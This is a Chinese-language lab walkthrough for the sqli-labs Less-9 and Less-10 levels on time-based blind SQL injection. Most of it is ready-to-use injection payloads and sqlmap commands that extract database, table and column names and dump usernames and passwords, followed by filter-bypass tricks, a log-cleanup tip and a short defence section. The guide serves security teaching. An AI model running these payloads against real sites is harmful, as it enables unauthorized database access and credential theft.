1. SQL注入靶场通关指南：Less-9与Less-10深度解析
在网络安全领域，SQL注入始终是最常见且危害性极大的漏洞类型之一。sqli-labs靶场作为经典的SQL注入练习平台，其Less-9和Less-10关卡专门设计用于训练基于时间延迟的盲注技术。这两个关卡看似简单，却蕴含着许多值得深入探讨的技术细节。
2. 关卡特性与注入类型识别
2.1 Less-9关卡特性分析
Less-9被标记为"基于时间的GET单引号盲注"，其核心特征表现为：
- 无论输入何种参数，页面返回内容始终相同（只有"You are in..."提示）
- 不显示数据库错误信息
- 没有明显的布尔型真/假差异反馈
这种设计模拟了现实中许多Web应用对错误的统一处理方式，使得传统基于报错或布尔判断的注入技术失效。此时，时间延迟成为判断注入是否成功的唯一依据。
2.2 Less-10关卡特性分析
Less-10与Less-9类似，但存在关键差异：
- 注入点使用双引号而非单引号包裹
- 同样采用时间延迟作为反馈机制
- 查询结构为：
SELECT * FROM users WHERE id=$id LIMIT 0,1（注意$id被双引号包裹）
这种差异要求我们在构造Payload时采用不同的闭合方式，是测试人员必须注意的关键点。
3. 时间盲注核心技术解析
3.1 基本原理与验证方法
时间盲注的核心原理是通过在SQL语句中插入延时函数，根据页面响应时间判断条件真假。基本验证方法如下：
对于Less-9（单引号）：
?id=1' AND sleep(5)--+对于Less-10（双引号）：
?id=1" AND sleep(5)--+如果页面响应出现明显延迟（约5秒），则确认存在时间盲注漏洞。
3.2 关键函数与技术要点
实现时间盲注需要掌握以下关键函数和技术：
条件判断函数：
IF(condition, true_value, false_value)延时函数：
SLEEP(seconds) # 最常用 BENCHMARK(count, expr) # 通过重复计算制造延迟字符串处理函数：
SUBSTR(str, pos, len) LEFT(str, len) ASCII(char) # 用于逐字符爆破闭合技巧：
- Less-9需使用单引号闭合：
' - Less-10需使用双引号闭合：
" - 注释符推荐使用
--+或#
- Less-9需使用单引号闭合：
4. 手工注入实战步骤
4.1 数据库信息枚举技术
4.1.1 获取数据库名称
采用逐字符爆破方式获取数据库名：
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115,sleep(3),1)--+解释：
ASCII(SUBSTR(database(),1,1))获取数据库名第一个字符的ASCII码- 115对应字母's'（security数据库首字母）
- 如果判断正确则延时3秒
4.1.2 获取表名信息
获取security数据库下的表名：
?id=1' AND IF(ASCII(SUBSTR( (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=101,sleep(3),1)--+解释：
- 101对应字母'e'（emails表首字母）
- 通过修改LIMIT参数获取不同表名
4.1.3 获取列名信息
获取users表的列名：
?id=1' AND IF(ASCII(SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105,sleep(3),1)--+解释：
- 105对应字母'i'（id列首字母）
- 依次获取username、password等列名
4.2 数据提取技术
4.2.1 用户数据提取
获取users表中的用户名和密码：
?id=1' AND IF(ASCII(SUBSTR( (SELECT CONCAT(username,':',password) FROM users LIMIT 0,1),1,1))=68,sleep(3),1)--+解释：
- 68对应字母'D'（Dumb用户首字母）
- 使用CONCAT合并字段方便查看
- 通过修改LIMIT参数获取不同用户数据
4.2.2 二进制数据提取技巧
当遇到特殊字符或二进制数据时，可采用：
?id=1' AND IF(ASCII(SUBSTR( (SELECT HEX(password) FROM users LIMIT 0,1),1,1))=54,sleep(3),1)--+解释：
- 先使用HEX函数将二进制数据转为16进制
- 54对应数字'6'（MD5哈希开头常见字符）
5. SQLMap自动化利用技术
5.1 基础扫描命令
针对Less-9的时间盲注：
sqlmap -u "http://target/Less-9/?id=1" --technique=T --level=5 --risk=3关键参数：
--technique=T：指定时间盲注技术--level=5：最高检测级别--risk=3：允许使用高风险技术
5.2 数据提取实战
获取数据库名：
sqlmap -u "http://target/Less-9/?id=1" --current-db获取表名：
sqlmap -u "http://target/Less-9/?id=1" -D security --tables提取用户数据：
sqlmap -u "http://target/Less-9/?id=1" -D security -T users --dump5.3 高级技巧与优化
提高速度：
sqlmap -u "http://target/Less-9/?id=1" --threads=10 --optimize绕过WAF：
sqlmap -u "http://target/Less-9/?id=1" --tamper=space2comment自定义延时：
sqlmap -u "http://target/Less-9/?id=1" --time-sec=2
6. 防御措施与实战建议
6.1 开发者防护方案
参数化查询：
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);输入验证：
if (!is_numeric($id)) { die("Invalid input"); }最小权限原则：
- 数据库用户只赋予必要权限
- 禁止普通Web应用账号使用FILE、PROCESS等权限
6.2 测试人员注意事项
伦理边界：
- 仅对授权目标进行测试
- 避免使用DROP、DELETE等破坏性语句
性能考量：
- 时间盲注会对服务器造成较大负载
- 建议在非业务高峰期进行测试
日志清理：
- SQLMap会自动记录扫描日志
- 测试后记得清理
~/.sqlmap/output/目录
7. 高级技巧与疑难解决
7.1 网络延迟问题处理
当网络不稳定时，可能出现误判。解决方案：
增加基准延时检测：
?id=1' AND IF(1=1,sleep(3),1)--+使用相对时间判断：
# Python示例 baseline = get_response_time("?id=1") delay = get_response_time("?id=1' AND sleep(3)--+") if delay - baseline > 2.5: print("Vulnerable")
7.2 绕过过滤的技巧
注释符变种：
?id=1'/*!50000sleep(3)*/--+函数替代：
?id=1' AND BENCHMARK(10000000,MD5(NOW()))--+编码混淆：
?id=1' AND 1=IF(1,SLEEP(3),0)--+
8. 实战经验与心得
在长期渗透测试实践中，我发现时间盲注有几个关键点需要注意：
延时精度控制：
- 公共网络环境下建议设置3-5秒延时
- 内网测试可缩短至1-2秒提高效率
自动化脚本优化：
# 优化后的Python检测脚本示例 def check_delay(url, payload, threshold=2.5): start = time.time() requests.get(url + payload) elapsed = time.time() - start return elapsed > threshold结果验证机制：
- 重要数据应多次验证
- 对边界值（如第一个/最后一个字符）要特别检查
时间盲注虽然效率较低，但在面对严格防御的现代Web应用时，往往是最可靠的注入方式。掌握其原理和技巧，对提升渗透测试能力至关重要。
